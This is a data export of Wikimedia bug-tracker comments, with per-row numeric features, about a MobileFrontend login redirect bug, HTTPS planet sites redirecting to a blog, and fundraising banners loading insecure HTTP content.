192612,Special:UserLogin broken in MobileFrontend,"In non-beta an error message appears on logging in ""There was an unexpected error logging in. Please try again. If the problem persists, it may be because you have cookies disabled, and you should check that they are enabled in your browser settings""",,,1351801109,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-43,True,0.0,0.0,0.0,2.0,0.0,8.0,2.0,2.0,0.0,2.0,8.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,16.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,2.0,8.0,2.0,2.0,0.0,6.0,2.0,0.0,4.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,8.0,6.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,10.0,16.0,0.0,0.0,4.0,0.0,10.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,4.078431372549019,0.8235294117647058,"In non-beta an error message appears on logging in ""There was an unexpected error logging in. Please try again. If the problem persists, it may be because you have cookies disabled, and you should check that they are enabled in your browser settings"""
192608,Special:UserLogin broken in MobileFrontend,This is fixed in beta but not non-beta,,,1351196715,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-44,True,0.0,0.0,0.0,10.0,10.0,20.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1,0.9,This is fixed in beta but not non-beta
192605,Special:UserLogin broken in MobileFrontend,"Will be fixed with
https://mingle.corp.wikimedia.org/projects/mobile/cards/136",,,1350075323,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-46,True,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,17.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.1666666666666665,1.0,"Will be fixed with
URL"
192601,Special:UserLogin broken in MobileFrontend,*** Bug 24387 has been marked as a duplicate of this bug. ***,,,1347929976,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-50,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 24387 has been marked as a duplicate of this bug. ***
192597,Special:UserLogin broken in MobileFrontend,Interestingly if you put your username and password in and click the login button you do actually login you just don't get redirected... weird.,,,1347928780,,PHID-USER-5dwuaigmkz2vzg65lape,False,,,PHID-TASK-iomzjz7nzwvbx34243lq,task_subcomment,,True,c2,1,False,,,-50,True,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,19.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,7.0,4.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,15.0,7.0,0.0,0.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.444444444444445,0.8148148148148148,Interestingly if you put your username and password in and click the login button you do actually login you just don't get redirected... weird.
34028,https planets redirect to some WMF blog,"Go to:

https://en.planet.wikimedia.org
https://zh.planet.wikimedia.org

After clearing the SSL warning screen (this appears to be bug 31335 ), I am taken to a slightly dated official WMF blog page (it's the same for both languages). I expect the served content to match http://en.planet.wikimedia.org and http://zh.planet.wikimedia.org respectively, but served over HTTPS.

--------------------------
**Version**: unspecified
**Severity**: normal",Unbreak Now!,100.0,1319871720,1324150275.0,PHID-USER-7i3ugree666xnpuicp4p,False,,False,PHID-TASK-5du34x2phyos6cdjuz5a,task_description,resolved,True,c2,1,False,False,True,-96,True,0.0,0.0,0.0,1.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,3.0,0.0,3.0,9.0,0.0,3.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,5.0,1.0,1.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,14.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,16.0,0.0,3.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,4.0,9.0,5.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,3.670886075949367,0.6582278481012658,"Go to:

URL
URL

After clearing the SSL warning screen (this appears to be bug 31335 ), I am taken to a slightly dated official WMF blog page (it's the same for both languages). I expect the served content to match URL and URL respectively, but served over HTTPS.

--------------------------
**Version**: unspecified
**Severity**: normal"
155169,https planets redirect to some WMF blog,rt ticket is closed & redirection works.,,,1324150249,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-89,True,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.25,1.0,rt ticket is closed & redirection works.
155160,https planets redirect to some WMF blog,"(In reply to comment #4)
> (In reply to comment #3)
> > Was this changed to highest due to the https-everywhere ruleset, or some other
> > reason?
> 
> Probably because we are redirecting people inappropriately?

Exactly.",,,1322754026,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.857142857142857,0.6190476190476191,"(In reply to comment #4)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Exactly."
155152,https planets redirect to some WMF blog,"(In reply to comment #3)
> Was this changed to highest due to the https-everywhere ruleset, or some other
> reason?

Probably because we are redirecting people inappropriately?",,,1322627500,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-91,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,5.0,10.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,19.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,5.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,4.142857142857143,0.9047619047619048,"(In reply to comment #3)
QUOTE
QUOTE

Probably because we are redirecting people inappropriately?"
155147,https planets redirect to some WMF blog,"Was this changed to highest due to the https-everywhere ruleset, or some other reason?",,,1322611853,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-91,True,6.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.055555555555555,0.9444444444444444,"Was this changed to highest due to the https-everywhere ruleset, or some other reason?"
155143,https planets redirect to some WMF blog,*** Bug 32708 has been marked as a duplicate of this bug. ***,,,1322605263,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-92,True,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 32708 has been marked as a duplicate of this bug. ***
155138,https planets redirect to some WMF blog,http://rt.wikimedia.org/Ticket/Display.html?id=1854,,,1320078124,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-5du34x2phyos6cdjuz5a,task_subcomment,,True,c2,1,False,,,-96,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
33446,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"While loading https://www.mediawiki.org/wiki/Special:Code/MediaWiki/91123 I found that some sort of ""mobile user survey"" banner displayed in the sitenotice area, and a mixed-content warning popped up in my browser indicating something was loaded over unencrypted HTTP.

I popped open Firebug to check the network panel to find the culprit and reloaded to populate it, but the banner disappeared and hasn't reappeared so can't confirm it just yet.

--------------------------
**Version**: unspecified
**Severity**: major",Unbreak Now!,100.0,1317944580,1321996555.0,PHID-USER-yek7ymogrv4qc67oilhf,False,,False,PHID-TASK-j5ri46a4vep5e5quwuzm,task_description,resolved,True,c2,1,True,False,True,-99,True,1.0,1.0,0.0,1.0,2.0,6.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,3.0,1.0,5.0,11.0,1.0,3.0,0.0,1.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,4.0,2.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,16.0,0.0,0.0,0.0,1.0,1.0,1.0,0.0,1.0,1.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,5.0,1.0,9.0,2.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,5.0,11.0,2.0,0.0,2.0,0.0,5.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,0.0,4.23404255319149,0.723404255319149,"While loading URL I found that some sort of ""mobile user survey"" banner displayed in the sitenotice area, and a mixed-content warning popped up in my browser indicating something was loaded over unencrypted HTTP.

I popped open Firebug to check the network panel to find the culprit and reloaded to populate it, but the banner disappeared and hasn't reappeared so can't confirm it just yet.

--------------------------
**Version**: unspecified
**Severity**: major"
148286,Mobile user survey banner includes non-HTTPS content on HTTPS page view,Patricia Pena is going to send a reminder to people who create these banners.  Please create a new bug if the problem pops up again.,,,1321996555,,PHID-USER-ogbcrxm45oo3n3xe5q25,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,14.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,11.0,4.0,11.0,4.0,0.0,14.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,14.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,0.0,0.0,0.0,3.857142857142857,0.8571428571428571,Patricia Pena is going to send a reminder to people who create these banners.  Please create a new bug if the problem pops up again.
148283,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The three linked above have been fixed; there are a bunch more:

[15:47] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_Thermo <- this one's got some too (the termometer images)
[15:47] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_Foundation_WMFR_JimmyGreen <- this one with Jimmy_jacket_forest.png again
[15:48] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_JKwfCf_US <- and this
[15:48] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_JKwfSM_US <- and this
[15:48] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_Nov14_0921
[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_btJKwF_FFFv0F0_US
[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_JKwMf_US
[15:49] <PhancyPhysicist> brion: someone has been bad!
[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btJKwF2_US
[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btJKwF30M_US
[15:49] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btJKwF_US
[15:50] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_btBFwP_US
[15:50] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1113_bt1_US
[15:51] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_2011_Nov11_b
[15:51] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_2011_Nov11_a
[15:51] <brion> https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_Donate_Jimmy_Thermo
[15:52] <pgehres> brion: wow.  I happen to know who created most of those banners and will mention it to them
[15:52] <brion> thanks :)
[15:52] <pgehres> np
[15:52] <pgehres> If you're curious, read the CN logs...",,,1321487657,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.0,1.6666666666666667,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,2.3333333333333335,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,1.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.3333333333333333,0.0,3.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,8.333333333333334,0.0,1.6666666666666667,0.0,0.6666666666666666,0.0,0.0,0.0,0.6666666666666666,0.6666666666666666,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.3333333333333333,1.3333333333333333,1.0,7.666666666666667,0.3333333333333333,1.0,3.6666666666666665,0.0,0.3333333333333333,0.3333333333333333,0.0,1.0,0.3333333333333333,7.666666666666667,0.0,1.6666666666666667,2.3333333333333335,7.666666666666667,0.0,0.0,0.0,1.6666666666666667,0.0,0.3333333333333333,0.3333333333333333,0.3333333333333333,0.0,0.3333333333333333,0.3333333333333333,25.666666666666668,2.7510548523206757,0.41561181434599154,"The three linked above have been fixed; there are a bunch more:

[15:47] <brion> URL <- this one's got some too (the termometer images)
[15:47] <brion> URL <- this one with Jimmy_jacket_forest.png again
[15:48] <brion> URL <- and this
[15:48] <brion> URL <- and this
[15:48] <brion> URL
[15:49] <brion> URL
[15:49] <brion> URL
[15:49] <PhancyPhysicist> brion: someone has been bad!
[15:49] <brion> URL
[15:49] <brion> URL
[15:49] <brion> URL
[15:50] <brion> URL
[15:50] <brion> URL
[15:51] <brion> URL
[15:51] <brion> URL
[15:51] <brion> URL
[15:52] <pgehres> brion: wow.  I happen to know who created most of those banners and will mention it to them
[15:52] <brion> thanks :)
[15:52] <pgehres> np
[15:52] <pgehres> If you're curious, read the CN logs..."
148281,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

Finding authors and their contributions in banners in not as easy as wiki pages.

Thanks for resolving the problem.",,,1321487263,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,3.9,0.7666666666666667,"**lambdav** wrote:

Finding authors and their contributions in banners in not as easy as wiki pages.

Thanks for resolving the problem."
148278,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Found folks in #wikimedia-fundraising IRC channel who can help clean them up; apparently these are chapter fundraising banners, not from the WMF team, but they can clean them up and make sure info gets out.",,,1321487006,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,7.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,2.0,7.0,0.0,5.0,5.0,0.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,7.0,12.0,5.0,0.0,0.0,0.0,7.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,4.095238095238095,0.8571428571428571,"Found folks in #wikimedia-fundraising IRC channel who can help clean them up; apparently these are chapter fundraising banners, not from the WMF team, but they can clean them up and make sure info gets out."
148273,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"The documentation already says that:
https://meta.wikimedia.org/wiki/Help:CentralNotice#Images

The problem ain't updating the documentation, it's finding how to contact whoever's maintaining them so they remember to actually follow it. :)",,,1321486602,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,11.0,11.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,6.0,6.0,6.0,0.0,0.0,0.0,3.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,3.0,8.0,0.0,8.0,8.0,0.0,8.0,0.0,3.0,0.0,0.0,8.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,6.0,0.0,3.0,8.0,0.0,0.0,0.0,4.444444444444445,0.8611111111111112,"The documentation already says that:
URL

The problem ain't updating the documentation, it's finding how to contact whoever's maintaining them so they remember to actually follow it. :)"
148266,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"**lambdav** wrote:

I don't know who are allowed to create banners. But authors should be informed about using protocol relative URLs.",,,1321486483,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,False,,,-93,True,0.0,0.0,0.0,7.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,7.0,10.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.8333333333333335,0.8666666666666667,"**lambdav** wrote:

I don't know who are allowed to create banners. But authors should be informed about using protocol relative URLs."
148258,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Guilty party:

https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=B11_1114_Foundation_WMFR_JimmyGreen_altbutton

also:

https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_Nov15_B11

https://meta.wikimedia.org/w/index.php?title=Special:NoticeTemplate/view&template=WMDE_Nov15_0921",,,1321486344,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.8333333333333335,0.5,"Guilty party:

URL

also:

URL

URL"
148249,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Ahh this should be a perfect place to find all offending banners:
https://meta.wikimedia.org/wiki/Special:NoticeTemplate",,,1321486160,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-j5ri46a4vep5e5quwuzm,task_subcomment,,True,c2,1,True,,,-93,True,7.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,13.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,0.0,3.8666666666666667,1.0,"Ahh this should be a perfect place to find all offending banners:
URL"
148241,Mobile user survey banner includes non-HTTPS content on HTTPS page view,"Hrmmmmm well I don't see *any* fundraising banners on Commons, even logged out.

